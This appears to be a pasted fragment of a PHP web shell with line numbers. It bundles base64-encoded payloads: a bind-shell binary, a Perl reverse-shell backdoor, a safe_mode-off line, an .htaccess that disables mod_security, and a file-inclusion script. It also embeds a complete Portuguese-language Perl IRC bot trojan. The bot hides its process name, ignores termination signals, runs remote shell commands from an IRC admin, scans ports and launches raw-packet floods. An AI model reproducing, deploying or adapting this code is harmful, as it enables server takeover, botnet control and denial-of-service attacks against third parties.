AAAAAAiJoECAAAAAADABQAAAAAAIyaBAgAAAAAAwAVAAAAAADUmgQIAAAAAAMAFgAAAAAA4JoECAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAADABoAAAAAAAAAAAAAAAAAAwAbAAAAAAAAAAAAAAAAAAMAHAAAAAAAAAAAAAAAAAADAB0AAAAAAAAAAAAAAAAAAwAeAAAAAAAAAAAAAAAAAAMAHwAAAAAAAAAAAAAAAAADACAAAAAAAAAAAAAAAAAAAwAhAAEAAAAAAAAAAAAAAAQA8f8MAAAAAAAAAAAAAAAEAPH/KAAAAAAAAAAAAAAABADx/y8AAAAAAAAAAAAAAAQA8f86AAAAAAAAAAAAAAAEAPH/dAAAAMSFBAgAAAAAAgAMAIQAAAAAAAAAAAAAAAQA8f+PAAAArJkECAAAAAABABAAnQAAALSZBAgAAAAAAQARAKsAAAC8mQQIAAAAAAEAEgC4AAAA4JoECAEAAAABABcAxwAAANyaBAgAAAAAAQAWAM4AAADshQQIAAAAAAIADADkAAAAG4YECAAAAAACAAwAhAAAAAAAAAAAAAAABADx//AAAACwmQQIAAAAAAEAEAD9AAAAuJkECAAAAAABABEACgEAAKiJBAgAAAAAAQAPABgBAAC8mQQIAAAAAAEAEgAkAQAA+IgECAAAAAACAAwALwAAAAAAAAAAAAAABADx/zoBAAAAAAAAAAAAAAQA8f90AQAAAAAAAAAAAAAEAPH/eAEAAMCZBAgAAAAAAQITAIEBAACsmQQIAAAAAAAC8f+SAQAArJkECAAAAAAAAvH/pQEAAKyZBAgAAAAAAALx/7YBAACMmgQIAAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  2673. $back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
  2674. $php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
  2675. $htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
  2676. $sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";
  2677.  
  2678. if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
  2679. {
  2680. $ircadmin=$_POST['ircadmin'];
  2681. $ircserver=$_POST['ircserver'];
  2682. $ircchan=$_POST['ircchanal'];
  2683. $irclabel=$_POST['ircname'];
  2684. echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
  2685. echo "<body bgcolor=\"black\" text=\"green\">";
  2686. echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
  2687. echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
  2688. #######################################################
  2689. ######################IRC Trojan##########################
  2690. $file="
  2691. ################ CONFIGURACAO #################################################################
  2692. my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
  2693. #----------------------------------------------################################################
  2694. my \$linas_max='48'; # Evita o flood :) depois de X linhas #
  2695. #----------------------------------------------################################################
  2696. my \$sleep='4'; # ele dorme X segundos #
  2697. ##################### IRC #####################################################################
  2698. my @adms=(\"$ircadmin\"); # Nick do administrador #
  2699. #----------------------------------------------################################################
  2700. my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
  2701. #----------------------------------------------################################################
  2702. my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
  2703.                                                # aparecer com numero radonamico no final #
  2704. #----------------------------------------------################################################
  2705. my \$ircname = 'Linux'; # User ID #
  2706. #----------------------------------------------################################################
  2707. chop (my \$realname = `uname -a`); # Full Name #
  2708. #----------------------------------------------################################################
  2709. \$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
  2710.                                                # caso nao seja especificado no argumento #
  2711. #----------------------------------------------################################################
  2712. my \$porta='6667'; # Porta do servidor de irc #
  2713. ################ ACESSO A SHELL ###############################################################
  2714. my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
  2715. ###############################################################################################
  2716. my \$VERSAO = '0.2';
  2717. \$SIG{'INT'} = 'IGNORE';
  2718. \$SIG{'HUP'} = 'IGNORE';
  2719. \$SIG{'TERM'} = 'IGNORE';
  2720. \$SIG{'CHLD'} = 'IGNORE';
  2721. \$SIG{'PS'} = 'IGNORE';
  2722. \$SIG{'STOP'} = 'IGNORE';
  2723. use IO::Socket;
  2724. use Socket;
  2725. use IO::Select;
  2726. chdir(\"/\");
  2727. \$servidor=\"\$ARGV[0]\" if \$ARGV[0];
  2728. $0=\"\$processo\".\"\0\"x16;;
  2729. my \$pid=fork;
  2730. exit if \$pid;
  2731. die \"Problema com o fork: $!\" unless defined(\$pid);
  2732. my \$dcc_sel = new IO::Select->new();
  2733. #############################
  2734. # B0tchZ na veia ehehe :P #
  2735. #############################
  2736.  
  2737. \$sel_cliente = IO::Select->new();
  2738. sub sendraw {
  2739.   if ($#_ == '1') {
  2740.     my \$socket = \$_[0];
  2741.     print \$socket \"\$_[1]\\n\";
  2742.   } else {
  2743.       print \$IRC_cur_socket \"\$_[0]\\n\";
  2744.   }
  2745. }
  2746. #################################
  2747. sub conectar {
  2748.    my \$meunick = \$_[0];
  2749.    my \$servidor_con = \$_[1];
  2750.    my \$porta_con = \$_[2];
  2751.  
  2752.    my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
  2753.    if (defined(\$IRC_socket)) {
  2754.      \$IRC_cur_socket = \$IRC_socket;
  2755.  
  2756.      \$IRC_socket->autoflush(1);
  2757.      \$sel_cliente->add(\$IRC_socket);
  2758.  
  2759.      \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
  2760.      \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
  2761.      \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
  2762.      \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
  2763.      nick(\"\$meunick\");
  2764.      sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
  2765.      sleep 1;
  2766.    }
  2767. } #####################
  2768.  
  2769. my \$line_temp;
  2770. while( 1 ) {
  2771.    while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
  2772.    delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
  2773.    &DCC::connections;
  2774.    my @ready = \$sel_cliente->can_read(0);
  2775.    next unless(@ready);
  2776.    foreach \$fh (@ready) {
  2777.      \$IRC_cur_socket = \$fh;
  2778.      \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
  2779.      \$nread = sysread(\$fh, \$msg, 4096);
  2780.      if (\$nread == 0) {
  2781.         \$sel_cliente->remove(\$fh);
  2782.         \$fh->close;
  2783.         delete(\$irc_servers{\$fh});
  2784.      }
  2785.      @lines = split (/\\n/, \$msg);
  2786.  
  2787.      for(my \$c=0; \$c<= $#lines; \$c++) {
  2788.        \$line = \$lines[\$c];
  2789.        \$line=\$line_temp.\$line if (\$line_temp);
  2790.        \$line_temp='';
  2791.        \$line =~ s/\\r$//;
  2792.        unless (\$c == $#lines) {
  2793.          parse(\"\$line\");
  2794.        } else {
  2795.            if ($#lines == 0) {
  2796.              parse(\"\$line\");
  2797.            } elsif (\$lines[\$c] =~ /\\r$/) {
  2798.                parse(\"\$line\");
  2799.            } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  2800.                parse(\"\$line\");
  2801.            } else {
  2802.                \$line_temp = \$line;
  2803.            }
  2804.        }
  2805.       }
  2806.    }
  2807. }
  2808.  
  2809. #########################
  2810.  
  2811.  
  2812. sub parse {
  2813.    my \$servarg = shift;
  2814.    if (\$servarg =~ /^PING \:(.*)/) {
  2815.      sendraw(\"PONG :$1\");
  2816.    } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  2817.        my \$pn=$1; my \$onde = $4; my \$args = $5;
  2818.        if (\$args =~ /^\\001VERSION\\001$/) {
  2819.          notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
  2820.        }
  2821.        if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
  2822.          if (\$onde eq \"\$meunick\"){
  2823.            shell(\"\$pn\", \"\$args\");
  2824.          }
  2825.          if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
  2826.             my \$natrix = $1;
  2827.             my \$arg = $2;
  2828.             if (\$arg =~ /^\!(.*)/) {
  2829.               ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
  2830.             } elsif (\$arg =~ /^\@(.*)/) {
  2831.                 \$ondep = \$onde;
  2832.                 \$ondep = \$pn if \$onde eq \$meunick;
  2833.                 bfunc(\"\$ondep\",\"$1\");
  2834.             } else {
  2835.                 shell(\"\$onde\", \"\$arg\");
  2836.             }
  2837.          }
  2838.        }
  2839.    } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  2840.        if (lc($1) eq lc(\$meunick)) {
  2841.          \$meunick=$4;
  2842.          \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
  2843.        }
  2844.    } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
  2845.        nick(\"\$meunick\".int rand(9999));
  2846.    } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  2847.        \$meunick = $2;
  2848.        \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
  2849.        \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
  2850.        foreach my \$canal (@canais) {
  2851.          sendraw(\"JOIN \$canal\");
  2852.        }
  2853.    }
  2854. }
  2855. ##########################
  2856.  
  2857. sub bfunc {
  2858.   my \$printl = \$_[0];
  2859.   my \$funcarg = \$_[1];
  2860.   if (my \$pid = fork) {
  2861.      waitpid(\$pid, 0);
  2862.   } else {
  2863.       if (fork) {
  2864.          exit;
  2865.        } else {
  2866.            if (\$funcarg =~ /^portscan (.*)/) {
  2867.              my \$hostip=\"$1\";
  2868.              my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
  2869.              my (@aberta, %porta_banner);
  2870.              foreach my \$porta (@portas) {
  2871.                 my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
  2872.                 if (\$scansock) {
  2873.                    push (@aberta, \$porta);
  2874.                    \$scansock->close;
  2875.                 }
  2876.              }
  2877.  
  2878.              if (@aberta) {
  2879.                sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
  2880.              } else {
  2881.                  sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
  2882.              }
  2883.            }
  2884.            if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
  2885.              my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
  2886.              \$dtime = 1 if \$dtime == 0;
  2887.              my %bytes;
  2888.              \$bytes{igmp} = $2 * \$pacotes{igmp};
  2889.              \$bytes{icmp} = $2 * \$pacotes{icmp};
  2890.              \$bytes{o} = $2 * \$pacotes{o};
  2891.              \$bytes{udp} = $2 * \$pacotes{udp};
  2892.              \$bytes{tcp} = $2 * \$pacotes{tcp};
  2893.  
  2894.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
  2895.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
  2896.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
  2897.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
  2898.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Média de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
  2899.  
  2900.            }
  2901.            exit;
  2902.        }
  2903.   }
  2904. }
  2905. ##########################
  2906.  
  2907.  
  2908. sub ircase {
  2909.   my (\$kem, \$printl, \$case) = @_;
  2910.  
  2911.  
  2912.   if (\$case =~ /^join (.*)/) {
  2913.      j(\"$1\");
  2914.    }
  2915.    if (\$case =~ /^part (.*)/) {
  2916.       p(\"$1\");
  2917.    }
  2918.    if (\$case =~ /^rejoin\s+(.*)/) {
  2919.       my \$chan = $1;
  2920.       if (\$chan =~ /^(\d+) (.*)/) {
  2921.         for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
  2922.           p(\"$2\");
  2923.           j(\"$2\");
  2924.         }
  2925.       } else {
  2926.           p(\"\$chan\");
  2927.           j(\"\$chan\");
  2928.       }
  2929.    }
  2930.    if (\$case =~ /^op/) {
  2931.       op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
  2932.       my \$oarg = substr(\$case, 3);
  2933.       op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
  2934.    }
  2935.    if (\$case =~ /^deop/) {
  2936.       deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
  2937.       my \$oarg = substr(\$case, 5);
  2938.       deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
  2939.    }
  2940.    if (\$case =~ /^voice/) {
  2941.       voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
  2942.       \$oarg = substr(\$case, 6);
  2943.       voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
  2944.    }
  2945.    if (\$case =~ /^devoice/) {
  2946.       devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
  2947.       \$oarg = substr(\$case, 8);
  2948.       devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
  2949.    }
  2950.    if (\$case =~ /^msg\s+(\S+) (.*)/) {
  2951.       msg(\"$1\", \"$2\");
  2952.    }
  2953.    if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  2954.       for (my \$cf = 1; \$cf <= $1; \$cf++) {
  2955.         msg(\"$2\", \"$3\");
  2956.       }
  2957.    }
  2958.    if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
  2959.       ctcp(\"$1\", \"$2\");
  2960.    }
  2961.    if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  2962.       for (my \$cf = 1; \$cf <= $1; \$cf++) {
  2963.         ctcp(\"$2\", \"$3\");
  2964.       }
  2965.    }
  2966.    if (\$case =~ /^invite\s+(\S+) (.*)/) {
  2967.       invite(\"$1\", \"$2\");
  2968.    }
  2969.    if (\$case =~ /^nick (.*)/) {
  2970.       nick(\"$1\");
  2971.    }
  2972.    if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  2973.        conectar(\"$2\", \"$1\", 6667);
  2974.    }
  2975.    if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
  2976.       DCC::SEND(\"$1\", \"$2\");
  2977.    }
  2978.    if (\$case =~ /^raw (.*)/) {
  2979.       sendraw(\"$1\");
  2980.    }
  2981.    if (\$case =~ /^eval (.*)/) {
  2982.      eval \"$1\";
  2983.    }
  2984. }
  2985. ##########################
  2986.  
  2987. sub shell {
  2988.   return unless \$secv;
  2989.   my \$printl=\$_[0];
  2990.   my \$comando=\$_[1];
  2991.   if (\$comando =~ /cd (.*)/) {
  2992.     chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
  2993.     return;
  2994.   }
  2995.   elsif (\$pid = fork) {
  2996.      waitpid(\$pid, 0);
  2997.   } else {
  2998.       if (fork) {
  2999.          exit;
  3000.        } else {
  3001.            my @resp=`\$comando 2>&1 3>&1`;
  3002.            my \$c=0;
  3003.            foreach my \$linha (@resp) {
  3004.              \$c++;
  3005.              chop \$linha;
  3006.              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
  3007.              if (\$c == \"\$linas_max\") {
  3008.                \$c=0;
  3009.                sleep \$sleep;
  3010.              }
  3011.            }
  3012.            exit;
  3013.        }
  3014.   }
  3015. }
  3016.  
  3017. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  3018. sub attacker {
  3019.   my \$iaddr = inet_aton(\$_[0]);
  3020.   my \$msg = 'B' x \$_[1];
  3021.   my \$ftime = \$_[2];
  3022.   my \$cp = 0;
  3023.   my (%pacotes);
  3024.   \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
  3025.  
  3026.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
  3027.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
  3028.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
  3029.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
  3030.   return(undef) if \$cp == 4;
  3031.   my \$itime = time;
  3032.   my (\$cur_time);
  3033.   while ( 1 ) {
  3034.      for (my \$porta = 1; \$porta <= 65535; \$porta++) {
  3035.        \$cur_time = time - \$itime;
  3036.        last if \$cur_time >= \$ftime;
  3037.        send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
  3038.        send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
  3039.        send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
  3040.        send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
  3041.  
  3042.        # DoS ?? :P
  3043.        for (my \$pc = 3; \$pc <= 255;\$pc++) {
  3044.          next if \$pc == 6;
  3045.          \$cur_time = time - \$itime;
  3046.          last if \$cur_time >= \$ftime;
  3047.          socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
  3048.          send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
  3049.        }
  3050.      }
  3051.      last if \$cur_time >= \$ftime;
  3052.   }
  3053.   return(\$cur_time, %pacotes);
  3054. }
  3055.  
  3056. #############
  3057. # ALIASES #
  3058. #############
  3059.  
  3060. sub action {
  3061.    return unless $#_ == 1;
  3062.    sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
  3063. }
  3064.  
  3065. sub ctcp {
  3066.    return unless $#_ == 1;
  3067.    sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
  3068. }
  3069. sub msg {
  3070.    return unless $#_ == 1;
  3071.    sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
  3072. }
  3073.  
  3074. sub notice {
  3075.    return unless $#_ == 1;
  3076.    sendraw(\"NOTICE \$_[0] :\$_[1]\");
  3077. }
  3078.  
  3079. sub op {
  3080.    return unless $#_ == 1;
  3081.    sendraw(\"MODE \$_[0] +o \$_[1]\");
  3082. }
  3083. sub deop {
  3084.    return unless $#_ == 1;
  3085.    sendraw(\"MODE \$_[0] -o \$_[1]\");
  3086. }
  3087. sub hop {
  3088.     return unless $#_ == 1;
  3089.    sendraw(\"MODE \$_[0] +h \$_[1]\");
  3090. }
  3091. sub dehop {
  3092.    return unless $#_ == 1;
  3093.    sendraw(\"MODE \$_[0] +h \$_[1]\");
  3094. }
  3095. sub voice {
  3096.    return unless $#_ == 1;
  3097.    sendraw(\"MODE \$_[0] +v \$_[1]\");
  3098. }
  3099. sub devoice {
  3100.    return unless $#_ == 1;
  3101.    sendraw(\"MODE \$_[0] -v \$_[1]\");
  3102. }
  3103. sub ban {
  3104.    return unless $#_ == 1;
  3105.    sendraw(\"MODE \$_[0] +b \$_[1]\");
  3106. }
  3107. sub unban {
  3108.    return unless $#_ == 1;
  3109.    sendraw(\"MODE \$_[0] -b \$_[1]\");
  3110. }
  3111. sub kick {
  3112.    return unless $#_ == 1;
  3113.    sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
  3114. }
  3115.  
  3116. sub modo {
  3117.    return unless $#_ == 0;
  3118.    sendraw(\"MODE \$_[0] \$_[1]\");
  3119. }
  3120. sub mode { modo(@_); }
  3121.  
  3122. sub j { &join(@_); }
  3123. sub join {
  3124.    return unless $#_ == 0;
  3125.    sendraw(\"JOIN \$_[0]\");
  3126. }
  3127. sub p { part(@_); }
  3128. sub part {sendraw(\"PART \$_[0]\");}
  3129.  
  3130. sub nick {
  3131.   return unless $#_ == 0;
  3132.   sendraw(\"NICK \$_[0]\");
  3133. }
  3134.  
  3135. sub invite {
  3136.    return unless $#_ == 1;
  3137.    sendraw(\"INVITE \$_[1] \$_[0]\");
  3138. }
  3139. sub topico {
  3140.    return unless $#_ == 1;
  3141.    sendraw(\"TOPIC \$_[0] \$_[1]\");
  3142. }
  3143. sub topic { topico(@_); }
  3144.  
  3145. sub whois {
  3146.   return unless $#_ == 0;
  3147.   sendraw(\"WHOIS \$_[0]\");
  3148. }
  3149. sub who {
  3150.   return unless $#_ == 0;
  3151.   sendraw(\"WHO \$_[0]\");
  3152. }
  3153. sub names {
  3154.   return unless $#_ == 0;
  3155.   sendraw(\"NAMES \$_[0]\");
  3156. }
  3157. sub away {
  3158.   sendraw(\"AWAY \$_[0]\");
  3159. }
  3160. sub back { away(); }
  3161. sub quit {
  3162.   sendraw(\"QUIT :\$_[0]\");
  3163. }
  3164.  
  3165. # DCC
  3166. #########################
  3167.  
  3168. package DCC;
  3169.  
  3170. sub connections {
  3171.    my @ready = \$dcc_sel->can_read(1);
  3172. # return unless (@ready);
  3173.    foreach my \$fh (@ready) {
  3174.      my \$dcctipo = \$DCC{\$fh}{tipo};
  3175.      my \$arquivo = \$DCC{\$fh}{arquivo};
  3176.      my \$bytes = \$DCC{\$fh}{bytes};
  3177.      my \$cur_byte = \$DCC{\$fh}{curbyte};
  3178.      my \$nick = \$DCC{\$fh}{nick};
  3179.  
  3180.  
  3181.      my \$msg;
  3182.      my \$nread = sysread(\$fh, \$msg, 10240);
  3183.  
  3184.      if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
  3185.         \$DCC{\$fh}{status} = \"Cancelado\";
  3186.         \$DCC{\$fh}{ftime} = time;
  3187.         \$dcc_sel->remove(\$fh);
  3188.         \$fh->close;
  3189.         next;
  3190.      }
  3191.  
  3192.      if (\$dcctipo eq \"get\") {
  3193.         \$DCC{\$fh}{curbyte} += length(\$msg);
  3194.  
